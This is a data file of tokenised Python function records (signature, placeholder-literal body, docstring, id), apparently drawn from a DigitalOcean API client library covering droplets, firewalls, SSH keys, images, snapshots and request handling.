{"signature": "def rename(self, name, return_dict=True):", "body": "return self._perform_action(<EOL>{'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT:name>': name},<EOL>return_dict<EOL>)<EOL>", "docstring": "Rename the droplet\n\n        Args:\n            name (str): new name\n\n        Optional Args:\n            return_dict (bool): Return a dict when True (default),\n                otherwise return an Action.\n\n        Returns dict or Action", "id": "f1466:c3:m20"}
{"signature": "def enable_private_networking(self, return_dict=True):", "body": "return self._perform_action(<EOL>{'<STR_LIT:type>': '<STR_LIT>'},<EOL>return_dict<EOL>)<EOL>", "docstring": "Enable private networking on an existing Droplet where available.\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m21"}
{"signature": "def enable_ipv6(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "Enable IPv6 on an existing Droplet where available.\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m22"}
{"signature": "def change_kernel(self, kernel, return_dict=True):", "body": "if type(kernel) != Kernel:<EOL><INDENT>raise BadKernelObject(\"<STR_LIT>\")<EOL><DEDENT>return self._perform_action(<EOL>{'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT>': kernel.id},<EOL>return_dict<EOL>)<EOL>", "docstring": "Change the kernel to a new one\n\n        Args:\n            kernel : instance of digitalocean.Kernel.Kernel\n\n        Optional Args:\n            return_dict (bool): Return a dict when True (default),\n                otherwise return an Action.\n\n        Returns dict or Action", "id": "f1466:c3:m23"}
{"signature": "@staticmethod<EOL><INDENT>def __get_ssh_keys_id_or_fingerprint(ssh_keys, token, name):<DEDENT>", "body": "ssh_keys_id = list()<EOL>for ssh_key in ssh_keys:<EOL><INDENT>if type(ssh_key) in [int, type(<NUM_LIT:2> ** <NUM_LIT:64>)]:<EOL><INDENT>ssh_keys_id.append(int(ssh_key))<EOL><DEDENT>elif type(ssh_key) == SSHKey:<EOL><INDENT>ssh_keys_id.append(ssh_key.id)<EOL><DEDENT>elif type(ssh_key) in [type(u'<STR_LIT>'), type('<STR_LIT>')]:<EOL><INDENT>regexp_of_fingerprint = '<STR_LIT>'<EOL>match = re.match(regexp_of_fingerprint, ssh_key)<EOL>if match is not None and match.end() == len(ssh_key) - <NUM_LIT:1>:<EOL><INDENT>ssh_keys_id.append(ssh_key)<EOL><DEDENT>else:<EOL><INDENT>key = SSHKey()<EOL>key.token = token<EOL>results = key.load_by_pub_key(ssh_key)<EOL>if results is None:<EOL><INDENT>key.public_key = ssh_key<EOL>key.name = \"<STR_LIT>\" % name<EOL>key.create()<EOL><DEDENT>else:<EOL><INDENT>key = results<EOL><DEDENT>ssh_keys_id.append(key.id)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise BadSSHKeyFormat(<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>return ssh_keys_id<EOL>", "docstring": "Check and return a list of SSH key IDs or fingerprints according\nto DigitalOcean's API. This method is used to check and create a\ndroplet with the correct SSH keys.", "id": "f1466:c3:m24"}
{"signature": "def create(self, *args, **kwargs):", "body": "for attr in kwargs.keys():<EOL><INDENT>setattr(self, attr, kwargs[attr])<EOL><DEDENT>if not self.size_slug and self.size:<EOL><INDENT>self.size_slug = self.size<EOL><DEDENT>ssh_keys_id = Droplet.__get_ssh_keys_id_or_fingerprint(self.ssh_keys,<EOL>self.token,<EOL>self.name)<EOL>data = {<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT:size>\": self.size_slug,<EOL>\"<STR_LIT:image>\": self.image,<EOL>\"<STR_LIT>\": self.region,<EOL>\"<STR_LIT>\": ssh_keys_id,<EOL>\"<STR_LIT>\": bool(self.backups),<EOL>\"<STR_LIT>\": bool(self.ipv6),<EOL>\"<STR_LIT>\": bool(self.private_networking),<EOL>\"<STR_LIT>\": self.volumes,<EOL>\"<STR_LIT>\": self.tags,<EOL>\"<STR_LIT>\": bool(self.monitoring),<EOL>}<EOL>if self.user_data:<EOL><INDENT>data[\"<STR_LIT>\"] = self.user_data<EOL><DEDENT>data = self.get_data(\"<STR_LIT>\", type=POST, params=data)<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL>action_id = data['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:id>']<EOL>self.action_ids = []<EOL>self.action_ids.append(action_id)<EOL><DEDENT>", "docstring": "Create the droplet with object properties.\n\nNote: Every argument and parameter given to this method will be\nassigned to the object.", "id": "f1466:c3:m25"}
{"signature": "def get_events(self):", "body": "return self.get_actions()<EOL>", "docstring": "A helper function for backwards compatibility.\nCalls get_actions()", "id": "f1466:c3:m26"}
{"signature": "def get_actions(self):", "body": "answer = self.get_data(\"<STR_LIT>\" % self.id, type=GET)<EOL>actions = []<EOL>for action_dict in answer['<STR_LIT>']:<EOL><INDENT>action = Action(**action_dict)<EOL>action.token = self.token<EOL>action.droplet_id = self.id<EOL>action.load()<EOL>actions.append(action)<EOL><DEDENT>return actions<EOL>", "docstring": "Returns a list of Action objects\nThis actions can be used to check the droplet's status", "id": "f1466:c3:m27"}
{"signature": "def get_action(self, action_id):", "body": "return Action.get_object(<EOL>api_token=self.token,<EOL>action_id=action_id<EOL>)<EOL>", "docstring": "Returns a specific Action by its ID.\n\n        Args:\n            action_id (int): id of action", "id": "f1466:c3:m28"}
{"signature": "def get_snapshots(self):", "body": "snapshots = list()<EOL>for id in self.snapshot_ids:<EOL><INDENT>snapshot = Image()<EOL>snapshot.id = id<EOL>snapshot.token = self.token<EOL>snapshots.append(snapshot)<EOL><DEDENT>return snapshots<EOL>", "docstring": "This method will return the snapshots/images connected to that\nspecific droplet.", "id": "f1466:c3:m29"}
{"signature": "def get_kernel_available(self):", "body": "kernels = list()<EOL>data = self.get_data(\"<STR_LIT>\" % self.id)<EOL>while True:<EOL><INDENT>for jsond in data[u'<STR_LIT>']:<EOL><INDENT>kernel = Kernel(**jsond)<EOL>kernel.token = self.token<EOL>kernels.append(kernel)<EOL><DEDENT>try:<EOL><INDENT>url = data[u'<STR_LIT>'][u'<STR_LIT>'].get(u'<STR_LIT>')<EOL>if not url:<EOL><INDENT>break<EOL><DEDENT>data = self.get_data(url)<EOL><DEDENT>except KeyError:  <EOL><INDENT>break<EOL><DEDENT><DEDENT>return kernels<EOL>", "docstring": "Get a list of kernels available", "id": "f1466:c3:m30"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, firewall_id):<DEDENT>", "body": "firewall = cls(token=api_token, id=firewall_id)<EOL>firewall.load()<EOL>return firewall<EOL>", "docstring": "Class method that will return a Firewall object by ID.", "id": "f1468:c5:m1"}
{"signature": "def add_droplets(self, droplet_ids):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT>\": droplet_ids}<EOL>)<EOL>", "docstring": "Add droplets to this Firewall.", "id": "f1468:c5:m5"}
{"signature": "def remove_droplets(self, droplet_ids):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=DELETE,<EOL>params={\"<STR_LIT>\": droplet_ids}<EOL>)<EOL>", "docstring": "Remove droplets from this Firewall.", "id": "f1468:c5:m6"}
{"signature": "def add_tags(self, tags):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params={\"<STR_LIT>\": tags}<EOL>)<EOL>", "docstring": "Add tags to this Firewall.", "id": "f1468:c5:m7"}
{"signature": "def remove_tags(self, tags):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=DELETE,<EOL>params={\"<STR_LIT>\": tags}<EOL>)<EOL>", "docstring": "Remove tags from this Firewall.", "id": "f1468:c5:m8"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Destroy the Firewall", "id": "f1468:c5:m9"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, ssh_key_id):<DEDENT>", "body": "ssh_key = cls(token=api_token, id=ssh_key_id)<EOL>ssh_key.load()<EOL>return ssh_key<EOL>", "docstring": "Class method that will return a SSHKey object by ID.", "id": "f1469:c0:m1"}
{"signature": "def load(self):", "body": "identifier = None<EOL>if self.id:<EOL><INDENT>identifier = self.id<EOL><DEDENT>elif self.fingerprint is not None:<EOL><INDENT>identifier = self.fingerprint<EOL><DEDENT>data = self.get_data(\"<STR_LIT>\" % identifier, type=GET)<EOL>ssh_key = data['<STR_LIT>']<EOL>for attr in ssh_key.keys():<EOL><INDENT>setattr(self, attr, ssh_key[attr])<EOL><DEDENT>self.id = ssh_key['<STR_LIT:id>']<EOL>", "docstring": "Load the SSHKey object from DigitalOcean.\n\nRequires either self.id or self.fingerprint to be set.", "id": "f1469:c0:m2"}
{"signature": "def load_by_pub_key(self, public_key):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>if jsoned.get('<STR_LIT>', \"<STR_LIT>\") == public_key:<EOL><INDENT>self.id = jsoned['<STR_LIT:id>']<EOL>self.load()<EOL>return self<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "This method will load a SSHKey object from DigitalOcean\nfrom a public_key. This method will avoid problems like\nuploading the same public_key twice.", "id": "f1469:c0:m3"}
{"signature": "def create(self):", "body": "input_params = {<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.public_key,<EOL>}<EOL>data = self.get_data(\"<STR_LIT>\", type=POST, params=input_params)<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>", "docstring": "Create the SSH Key", "id": "f1469:c0:m4"}
{"signature": "def edit(self):", "body": "input_params = {<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.public_key,<EOL>}<EOL>data = self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=PUT,<EOL>params=input_params<EOL>)<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>", "docstring": "Edit the SSH Key", "id": "f1469:c0:m5"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Destroy the SSH Key", "id": "f1469:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, action_id):<DEDENT>", "body": "action = cls(token=api_token, id=action_id)<EOL>action.load_directly()<EOL>return action<EOL>", "docstring": "Class method that will return a Action object by ID.", "id": "f1470:c0:m1"}
{"signature": "def wait(self, update_every_seconds=<NUM_LIT:1>):", "body": "while self.status == u'<STR_LIT>':<EOL><INDENT>sleep(update_every_seconds)<EOL>self.load()<EOL><DEDENT>return self.status == u'<STR_LIT>'<EOL>", "docstring": "Wait until the action is marked as completed or with an error.\nIt will return True in case of success, otherwise False.\n\nOptional Args:\n    update_every_seconds - int : number of seconds to wait before\n        checking if the action is completed.", "id": "f1470:c0:m4"}
{"signature": "def get_account(self):", "body": "return Account.get_object(api_token=self.token)<EOL>", "docstring": "Returns an Account object.", "id": "f1473:c0:m1"}
{"signature": "def get_all_regions(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>regions = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>region = Region(**jsoned)<EOL>region.token = self.token<EOL>regions.append(region)<EOL><DEDENT>return regions<EOL>", "docstring": "This function returns a list of Region object.", "id": "f1473:c0:m2"}
{"signature": "def get_all_droplets(self, tag_name=None):", "body": "params = dict()<EOL>if tag_name:<EOL><INDENT>params[\"<STR_LIT>\"] = tag_name<EOL><DEDENT>data = self.get_data(\"<STR_LIT>\", params=params)<EOL>droplets = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>droplet = Droplet(**jsoned)<EOL>droplet.token = self.token<EOL>for net in droplet.networks['<STR_LIT>']:<EOL><INDENT>if net['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>droplet.private_ip_address = net['<STR_LIT>']<EOL><DEDENT>if net['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>droplet.ip_address = net['<STR_LIT>']<EOL><DEDENT><DEDENT>if droplet.networks['<STR_LIT>']:<EOL><INDENT>droplet.ip_v6_address = droplet.networks['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']<EOL><DEDENT>if \"<STR_LIT>\" in droplet.features:<EOL><INDENT>droplet.backups = True<EOL><DEDENT>else:<EOL><INDENT>droplet.backups = False<EOL><DEDENT>if \"<STR_LIT>\" in droplet.features:<EOL><INDENT>droplet.ipv6 = True<EOL><DEDENT>else:<EOL><INDENT>droplet.ipv6 = False<EOL><DEDENT>if \"<STR_LIT>\" in droplet.features:<EOL><INDENT>droplet.private_networking = True<EOL><DEDENT>else:<EOL><INDENT>droplet.private_networking = False<EOL><DEDENT>droplets.append(droplet)<EOL><DEDENT>return droplets<EOL>", "docstring": "This function returns a list of Droplet object.", "id": "f1473:c0:m3"}
{"signature": "def get_droplet(self, droplet_id):", "body": "return Droplet.get_object(api_token=self.token, droplet_id=droplet_id)<EOL>", "docstring": "Return a Droplet by its ID.", "id": "f1473:c0:m4"}
{"signature": "def get_all_sizes(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>sizes = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>size = Size(**jsoned)<EOL>size.token = self.token<EOL>sizes.append(size)<EOL><DEDENT>return sizes<EOL>", "docstring": "This function returns a list of Size object.", "id": "f1473:c0:m5"}
{"signature": "def get_images(self, private=False, type=None):", "body": "params = {}<EOL>if private:<EOL><INDENT>params['<STR_LIT>'] = '<STR_LIT:true>'<EOL><DEDENT>if type:<EOL><INDENT>params['<STR_LIT:type>'] = type<EOL><DEDENT>data = self.get_data(\"<STR_LIT>\", params=params)<EOL>images = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>image = Image(**jsoned)<EOL>image.token = self.token<EOL>images.append(image)<EOL><DEDENT>return images<EOL>", "docstring": "This function returns a list of Image object.", "id": "f1473:c0:m6"}
{"signature": "def get_all_images(self):", "body": "images = self.get_images()<EOL>return images<EOL>", "docstring": "This function returns a list of Image objects containing all\navailable DigitalOcean images, both public and private.", "id": "f1473:c0:m7"}
{"signature": "def get_image(self, image_id_or_slug):", "body": "return Image.get_object(<EOL>api_token=self.token,<EOL>image_id_or_slug=image_id_or_slug,<EOL>)<EOL>", "docstring": "Return a Image by its ID/Slug.", "id": "f1473:c0:m8"}
{"signature": "def get_my_images(self):", "body": "images = self.get_images(private=True)<EOL>return images<EOL>", "docstring": "This function returns a list of Image objects representing\nprivate DigitalOcean images (e.g. snapshots and backups).", "id": "f1473:c0:m9"}
{"signature": "def get_global_images(self):", "body": "data = self.get_images()<EOL>images = list()<EOL>for i in data:<EOL><INDENT>if i.public:<EOL><INDENT>i.token = self.token<EOL>images.append(i)<EOL><DEDENT><DEDENT>return images<EOL>", "docstring": "This function returns a list of Image objects representing\npublic DigitalOcean images (e.g. base distribution images\nand 'One-Click' applications).", "id": "f1473:c0:m10"}
{"signature": "def get_distro_images(self):", "body": "images = self.get_images(type='<STR_LIT>')<EOL>return images<EOL>", "docstring": "This function returns a list of Image objects representing\npublic base distribution images.", "id": "f1473:c0:m11"}
{"signature": "def get_app_images(self):", "body": "images = self.get_images(type='<STR_LIT>')<EOL>return images<EOL>", "docstring": "This function returns a list of Image objectobjects representing\npublic DigitalOcean 'One-Click' application images.", "id": "f1473:c0:m12"}
{"signature": "def get_all_domains(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>domains = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>domain = Domain(**jsoned)<EOL>domain.token = self.token<EOL>domains.append(domain)<EOL><DEDENT>return domains<EOL>", "docstring": "This function returns a list of Domain object.", "id": "f1473:c0:m13"}
{"signature": "def get_domain(self, domain_name):", "body": "return Domain.get_object(api_token=self.token, domain_name=domain_name)<EOL>", "docstring": "Return a Domain by its domain_name", "id": "f1473:c0:m14"}
{"signature": "def get_all_sshkeys(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>ssh_keys = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>ssh_key = SSHKey(**jsoned)<EOL>ssh_key.token = self.token<EOL>ssh_keys.append(ssh_key)<EOL><DEDENT>return ssh_keys<EOL>", "docstring": "This function returns a list of SSHKey object.", "id": "f1473:c0:m15"}
{"signature": "def get_ssh_key(self, ssh_key_id):", "body": "return SSHKey.get_object(api_token=self.token, ssh_key_id=ssh_key_id)<EOL>", "docstring": "Return a SSHKey object by its ID.", "id": "f1473:c0:m16"}
{"signature": "def get_all_tags(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>return [<EOL>Tag(token=self.token, **tag) for tag in data['<STR_LIT>']<EOL>]<EOL>", "docstring": "This method returns a list of all tags.", "id": "f1473:c0:m17"}
{"signature": "def get_action(self, action_id):", "body": "return Action.get_object(api_token=self.token, action_id=action_id)<EOL>", "docstring": "Return an Action object by a specific ID.", "id": "f1473:c0:m18"}
{"signature": "def get_all_floating_ips(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>floating_ips = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>floating_ip = FloatingIP(**jsoned)<EOL>floating_ip.token = self.token<EOL>floating_ips.append(floating_ip)<EOL><DEDENT>return floating_ips<EOL>", "docstring": "This function returns a list of FloatingIP objects.", "id": "f1473:c0:m19"}
{"signature": "def get_floating_ip(self, ip):", "body": "return FloatingIP.get_object(api_token=self.token, ip=ip)<EOL>", "docstring": "Returns a of FloatingIP object by its IP address.", "id": "f1473:c0:m20"}
{"signature": "def get_all_load_balancers(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>load_balancers = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>load_balancer = LoadBalancer(**jsoned)<EOL>load_balancer.token = self.token<EOL>load_balancer.health_check = HealthCheck(**jsoned['<STR_LIT>'])<EOL>load_balancer.sticky_sessions = StickySesions(**jsoned['<STR_LIT>'])<EOL>forwarding_rules = list()<EOL>for rule in jsoned['<STR_LIT>']:<EOL><INDENT>forwarding_rules.append(ForwardingRule(**rule))<EOL><DEDENT>load_balancer.forwarding_rules = forwarding_rules<EOL>load_balancers.append(load_balancer)<EOL><DEDENT>return load_balancers<EOL>", "docstring": "Returns a list of Load Balancer objects.", "id": "f1473:c0:m21"}
{"signature": "def get_load_balancer(self, id):", "body": "return LoadBalancer.get_object(api_token=self.token, id=id)<EOL>", "docstring": "Returns a Load Balancer object by its ID.\n\nArgs:\n    id (str): Load Balancer ID", "id": "f1473:c0:m22"}
{"signature": "def get_certificate(self, id):", "body": "return Certificate.get_object(api_token=self.token, cert_id=id)<EOL>", "docstring": "Returns a Certificate object by its ID.\n\nArgs:\n    id (str): Certificate ID", "id": "f1473:c0:m23"}
{"signature": "def get_all_certificates(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>certificates = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>cert = Certificate(**jsoned)<EOL>cert.token = self.token<EOL>certificates.append(cert)<EOL><DEDENT>return certificates<EOL>", "docstring": "This function returns a list of Certificate objects.", "id": "f1473:c0:m24"}
{"signature": "def get_snapshot(self, snapshot_id):", "body": "return Snapshot.get_object(<EOL>api_token=self.token, snapshot_id=snapshot_id<EOL>)<EOL>", "docstring": "Return a Snapshot by its ID.", "id": "f1473:c0:m25"}
{"signature": "def get_all_snapshots(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>return [<EOL>Snapshot(token=self.token, **snapshot)<EOL>for snapshot in data['<STR_LIT>']<EOL>]<EOL>", "docstring": "This method returns a list of all Snapshots.", "id": "f1473:c0:m26"}
{"signature": "def get_droplet_snapshots(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>return [<EOL>Snapshot(token=self.token, **snapshot)<EOL>for snapshot in data['<STR_LIT>']<EOL>]<EOL>", "docstring": "This method returns a list of all Snapshots based on Droplets.", "id": "f1473:c0:m27"}
{"signature": "def get_volume_snapshots(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>return [<EOL>Snapshot(token=self.token, **snapshot)<EOL>for snapshot in data['<STR_LIT>']<EOL>]<EOL>", "docstring": "This method returns a list of all Snapshots based on volumes.", "id": "f1473:c0:m28"}
{"signature": "def get_all_volumes(self, region=None):", "body": "if region:<EOL><INDENT>url = \"<STR_LIT>\".format(region)<EOL><DEDENT>else:<EOL><INDENT>url = \"<STR_LIT>\"<EOL><DEDENT>data = self.get_data(url)<EOL>volumes = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>volume = Volume(**jsoned)<EOL>volume.token = self.token<EOL>volumes.append(volume)<EOL><DEDENT>return volumes<EOL>", "docstring": "This function returns a list of Volume objects.", "id": "f1473:c0:m29"}
{"signature": "def get_volume(self, volume_id):", "body": "return Volume.get_object(api_token=self.token, volume_id=volume_id)<EOL>", "docstring": "Returns a Volume object by its ID.", "id": "f1473:c0:m30"}
{"signature": "def get_all_firewalls(self):", "body": "data = self.get_data(\"<STR_LIT>\")<EOL>firewalls = list()<EOL>for jsoned in data['<STR_LIT>']:<EOL><INDENT>firewall = Firewall(**jsoned)<EOL>firewall.token = self.token<EOL>in_rules = list()<EOL>for rule in jsoned['<STR_LIT>']:<EOL><INDENT>in_rules.append(InboundRule(**rule))<EOL><DEDENT>firewall.inbound_rules = in_rules<EOL>out_rules = list()<EOL>for rule in jsoned['<STR_LIT>']:<EOL><INDENT>out_rules.append(OutboundRule(**rule))<EOL><DEDENT>firewall.outbound_rules = out_rules<EOL>firewalls.append(firewall)<EOL><DEDENT>return firewalls<EOL>", "docstring": "This function returns a list of Firewall objects.", "id": "f1473:c0:m31"}
{"signature": "def get_firewall(self, firewall_id):", "body": "return Firewall.get_object(<EOL>api_token=self.token,<EOL>firewall_id=firewall_id,<EOL>)<EOL>", "docstring": "Return a Firewall by its ID.", "id": "f1473:c0:m32"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, snapshot_id):<DEDENT>", "body": "snapshot = cls(token=api_token, id=snapshot_id)<EOL>snapshot.load()<EOL>return snapshot<EOL>", "docstring": "Class method that will return a Snapshot object by ID.", "id": "f1474:c0:m1"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Destroy the image", "id": "f1474:c0:m3"}
{"signature": "def __perform_request(self, url, type=GET, params=None):", "body": "if params is None:<EOL><INDENT>params = {}<EOL><DEDENT>if not self.token:<EOL><INDENT>raise TokenError(\"<STR_LIT>\")<EOL><DEDENT>url = urlparse.urljoin(self.end_point, url)<EOL>identity = lambda x: x<EOL>json_dumps = lambda x: json.dumps(x)<EOL>lookup = {<EOL>GET: (self._session.get, {}, '<STR_LIT>', identity),<EOL>POST: (self._session.post, {'<STR_LIT>': '<STR_LIT:application/json>'}, '<STR_LIT:data>',<EOL>json_dumps),<EOL>PUT: (self._session.put, {'<STR_LIT>': '<STR_LIT:application/json>'}, '<STR_LIT:data>',<EOL>json_dumps),<EOL>DELETE: (self._session.delete,<EOL>{'<STR_LIT>': '<STR_LIT:application/json>'},<EOL>'<STR_LIT:data>', json_dumps),<EOL>}<EOL>requests_method, headers, payload, transform = lookup[type]<EOL>agent = \"<STR_LIT>\".format('<STR_LIT>',<EOL>__version__,<EOL>requests.__name__,<EOL>requests.__version__)<EOL>headers.update({'<STR_LIT>': '<STR_LIT>' + self.token,<EOL>'<STR_LIT>': agent})<EOL>kwargs = {'<STR_LIT>': headers, payload: transform(params)}<EOL>timeout = self.get_timeout()<EOL>if timeout:<EOL><INDENT>kwargs['<STR_LIT>'] = timeout<EOL><DEDENT>headers_str = str(headers).replace(self.token.strip(), '<STR_LIT>')<EOL>self._log.debug('<STR_LIT>' %<EOL>(type, url, payload, params, headers_str, timeout))<EOL>return requests_method(url, **kwargs)<EOL>", "docstring": "This method will perform the real request,\nin this way we can customize only the \"output\" of the API call by\nusing self.__call_api method.\nThis method will return the request object.", "id": "f1475:c5:m3"}
{"signature": "def __deal_with_pagination(self, url, method, params, data):", "body": "all_data = data<EOL>while data.get(\"<STR_LIT>\", {}).get(\"<STR_LIT>\", {}).get(\"<STR_LIT>\"):<EOL><INDENT>url, query = data[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"].split(\"<STR_LIT:?>\", <NUM_LIT:1>)<EOL>for key, value in urlparse.parse_qs(query).items():<EOL><INDENT>params[key] = value<EOL><DEDENT>data = self.__perform_request(url, method, params).json()<EOL>for key, value in data.items():<EOL><INDENT>if isinstance(value, list) and key in all_data:<EOL><INDENT>all_data[key] += value<EOL><DEDENT>else:<EOL><INDENT>all_data[key] = value<EOL><DEDENT><DEDENT><DEDENT>return all_data<EOL>", "docstring": "Perform multiple calls in order to have a full list of elements\nwhen the API are \"paginated\". (content list is divided in more\nthan one page)", "id": "f1475:c5:m4"}
{"signature": "def get_timeout(self):", "body": "timeout_str = os.environ.get(REQUEST_TIMEOUT_ENV_VAR)<EOL>if timeout_str:<EOL><INDENT>try:<EOL><INDENT>return float(timeout_str)<EOL><DEDENT>except:<EOL><INDENT>self._log.error('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>timeout_str)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Checks if any timeout for the requests to DigitalOcean is required.\nTo set a timeout, use the REQUEST_TIMEOUT_ENV_VAR environment\nvariable.", "id": "f1475:c5:m6"}
{"signature": "def get_data(self, url, type=GET, params=None):", "body": "if params is None:<EOL><INDENT>params = dict()<EOL><DEDENT>if type is GET:<EOL><INDENT>params.setdefault(\"<STR_LIT>\", <NUM_LIT:200>)<EOL><DEDENT>req = self.__perform_request(url, type, params)<EOL>if req.status_code == <NUM_LIT>:<EOL><INDENT>return True<EOL><DEDENT>if req.status_code == <NUM_LIT>:<EOL><INDENT>raise NotFoundError()<EOL><DEDENT>try:<EOL><INDENT>data = req.json()<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise JSONReadError(<EOL>'<STR_LIT>' % str(e)<EOL>)<EOL><DEDENT>if not req.ok:<EOL><INDENT>msg = [data[m] for m in (\"<STR_LIT:id>\", \"<STR_LIT:message>\") if m in data][<NUM_LIT:1>]<EOL>raise DataReadError(msg)<EOL><DEDENT>self.__init_ratelimit(req.headers)<EOL>pages = data.get(\"<STR_LIT>\", {}).get(\"<STR_LIT>\", {})<EOL>if pages.get(\"<STR_LIT>\") and \"<STR_LIT>\" not in params:<EOL><INDENT>return self.__deal_with_pagination(url, type, params, data)<EOL><DEDENT>else:<EOL><INDENT>return data<EOL><DEDENT>", "docstring": "This method is a basic implementation of __call_api that checks\nerrors too. In case of success the method will return True or the\ncontent of the response to the request.\n\nPagination is automatically detected and handled accordingly", "id": "f1475:c5:m7"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, image_id_or_slug):<DEDENT>", "body": "if cls._is_string(image_id_or_slug):<EOL><INDENT>image = cls(token=api_token, slug=image_id_or_slug)<EOL>image.load(use_slug=True)<EOL><DEDENT>else:<EOL><INDENT>image = cls(token=api_token, id=image_id_or_slug)<EOL>image.load()<EOL><DEDENT>return image<EOL>", "docstring": "Class method that will return an Image object by ID or slug.\n\nThis method is used to validate the type of the image. If it is a\nnumber, it will be considered as an Image ID, instead if it is a\nstring, it will considered as slug.", "id": "f1476:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _is_string(value):<DEDENT>", "body": "if type(value) in [type(u'<STR_LIT>'), type('<STR_LIT>')]:<EOL><INDENT>return True<EOL><DEDENT>elif type(value) in [int, type(<NUM_LIT:2> ** <NUM_LIT:64>)]:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Checks if the value provided is a string (True) or not integer\n(False) or something else (None).", "id": "f1476:c0:m2"}
{"signature": "def create(self):", "body": "params = {'<STR_LIT:name>': self.name,<EOL>'<STR_LIT>': self.region,<EOL>'<STR_LIT:url>': self.url,<EOL>'<STR_LIT>': self.distribution,<EOL>'<STR_LIT:description>': self.description,<EOL>'<STR_LIT>': self.tags}<EOL>data = self.get_data('<STR_LIT>', type=POST, params=params)<EOL>if data:<EOL><INDENT>for attr in data['<STR_LIT:image>'].keys():<EOL><INDENT>setattr(self, attr, data['<STR_LIT:image>'][attr])<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Creates a new custom DigitalOcean Image from the Linux virtual machine\nimage located at the provided `url`.", "id": "f1476:c0:m3"}
{"signature": "def load(self, use_slug=False):", "body": "identifier = None<EOL>if use_slug or not self.id:<EOL><INDENT>identifier = self.slug<EOL><DEDENT>else:<EOL><INDENT>identifier = self.id<EOL><DEDENT>if not identifier:<EOL><INDENT>raise NotFoundError(\"<STR_LIT>\")<EOL><DEDENT>data = self.get_data(\"<STR_LIT>\" % identifier)<EOL>image_dict = data['<STR_LIT:image>']<EOL>for attr in image_dict.keys():<EOL><INDENT>setattr(self, attr, image_dict[attr])<EOL><DEDENT>return self<EOL>", "docstring": "Load slug.\n\nLoads by id, or by slug if id is not present or use slug is True.", "id": "f1476:c0:m4"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Destroy the image", "id": "f1476:c0:m5"}
